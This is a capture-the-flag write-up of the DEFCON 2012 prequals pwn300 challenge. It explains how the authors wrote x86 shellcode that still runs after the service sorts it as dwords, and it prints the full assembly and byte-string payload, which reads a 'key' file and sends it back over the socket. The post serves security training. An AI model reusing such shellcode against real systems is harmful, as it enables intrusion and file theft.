LSE Blog

Operating systems, computer security, languages theory, and even more!

  • About us

    • Main website
    • Git repositories
    • @lse_epita

    RSS Feed

  • Categories
    • Events
    • Language
    • Reverse Engineering
    • Security
    • Tutorials
      • Parallelism
    • Writeups
      • CSAW CTF 2012 Quals
      • DEFCON2K12 Prequals
      • SecuInside2K12 Prequals
      • NDH2K12 Prequals
      • Hack.lu CTF 2012
      • NDH2K13 Quals
      • PlaidCTF 2012
  • Authors
    • Gabriel Laskar
    • Bruno Pujos
    • Remi Audebert
    • Pierre Bourdon
    • Franck Michea
    • Ivan Delalande
    • Clement Rouault
    • Samuel Chevet
    • Nicolas Hureau
    • Marwan Burelle
    • Pierre-Marie de Rodat
  • DEFCON2K12 Prequals: pwn300 writeup

    Written by Samuel Chevet
    June 04, 2012 at 03:22

    This challenge was not an exploitation challenge but rather shellcode writing with some constraints.

    First the remote service wants to receive a password: "3c56bc31268ac65f". After that it will read from the socket fd 1024 bytes into a buffer on the stack. This buffer will be sorted as an array of dwords, this job is done by the function at 0x08048A00. Finally the service will call our buffer (exec-stack enabled), so the idea is to send a simple shellcode that will do the following c code after being sorted:

    1
    2
    3
    open("key", O_RDONLY);
    read(fd, stack_ptr, 0xFF);
    write(socket_fd_client, stack_ptr, 0xFF);
    

    We know that socket_fd will always be 4, and we will have to reverse some locations on the stack to store bytes read from the key file. So, we started by working on a simple shellcode which does this stuff, and we modified it to be able to be sorted without breaking the code flow.

    We managed to do it by putting padding with useless x86 instruction that didn't affect the flow of the shellcode (like inserting some NOPs; and register register; add value to unused register; ...)

    We used radare (rasm2) and looked at the ref.x86asm.net website since there are multiple ways to represent the same instruction:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    > rasm2 -d "0ac0"
    or al, al
    > as --32 test.S -o test.o ; objdump -d ./test.o
    
    ./test.o:     file format elf32-i386
    
    Disassembly of section .text:
    
    00000000 <.text>:
        0:   08 c0                   or     %al,%al
    

    After mixing all of these stuff, here is the final result:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    # open
    push %esp
    pop %ecx
    add $0x01, %al
    pusha
    nop
    add $0x1, %al
    pusha
    nop
    add $0x1, %al
    pusha
    nop
    add $0x1, %al
    nop
    nop
    push $0x079656b03
    add $0x3, %al
    pop %ebx
    nop
    add $0x5, %al
    nop
    nop
    add $0x5, %al
    shr $4, %ebx
    nop
    shr $4, %ebx
    push %ebx
    add $0xCC, %al
    or %al, %al
    mov %esp, %edx
    or %al, %al
    xor %eax,%eax
    or %eax, %eax
    push %eax
    stc
    or %eax, %eax
    push %edx
    stc
    or %eax, %eax
    mov $0xf, %al
    .byte 0xa # or al, al
    .byte 0xc0
    push %eax
    .byte 0x34
    .byte 0xa
    int $0x80
    
    # read
    .byte 0x34
    .byte 0xb
    nop
    nop
    .byte 0x34
    .byte 0xb
    mov %eax, %edx
    .byte 0x34
    .byte 0xb
    xor %eax,%eax
    .byte 0x24
    .byte 0x0c
    movb $0xfd, %al
    push %eax
    push %ecx
    nop
    nop
    nop
    push %edx
    nop
    nop
    nop
    .byte 0x87
    .byte 0xf7
    mov $0x3, %al
    nop
    push %eax
    int $0x80
    nop
    
    # write
    xor %eax,%eax
    movb $0x90, %al
    push %eax
    push %ecx
    .byte 0xb2
    .byte 0x90
    push $0x4
    .byte 0xA8
    .byte 0x91
    mov $0x4, %al
    push %eax
    int $0x80
    .byte 0xfd
    .byte 0xfd
    .byte 0xfd
    

    And by using a script to extract the compiled shellcode, we can see that it is correctly sorted and test that it works properly:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    shellcode = \
        "\x54\x59\x04\x01" + \
        "\x60\x90\x04\x01" + \
        "\x60\x90\x04\x01" + \
        "\x60\x90\x04\x01" + \
        "\x90\x90\x68\x03" + \
        "\x6b\x65\x79\x04" + \
        "\x03\x5b\x90\x04" + \
        "\x05\x90\x90\x04" + \
        "\x05\xc1\xeb\x04" + \
        "\x90\xc1\xeb\x04" + \
        "\x53\x04\xcc\x08" + \
        "\xc0\x89\xe2\x08" + \
        "\xc0\x31\xc0\x09" + \
        "\xc0\x50\xf9\x09" + \
        "\xc0\x52\xf9\x09" + \
        "\xc0\xb0\x0f\x0a" + \
        "\xc0\x50\x34\x0a" + \
        "\xcd\x80\x34\x0b" + \
        "\x90\x90\x34\x0b" + \
        "\x89\xc2\x34\x0b" + \
        "\x31\xc0\x24\x0c" + \
        "\xb0\xfd\x50\x51" + \
        "\x90\x90\x90\x52" + \
        "\x90\x90\x90\x87" + \
        "\xf7\xb0\x03\x90" + \
        "\x50\xcd\x80\x90" + \
        "\x31\xc0\xb0\x90" + \
        "\x50\x51\xb2\x90" + \
        "\x6a\x04\xa8\x91" + \
        "\xb0\x04\x50\xcd" + \
        "\x80\xfd\xfd\xfd
    

    We send it on port 7548 at address 140.197.217.155 and we received the key as expected.

    Tweet
    Permalink & comments
    blog comments powered by Disqus

© LSE 2012 — Main website — RSS Feed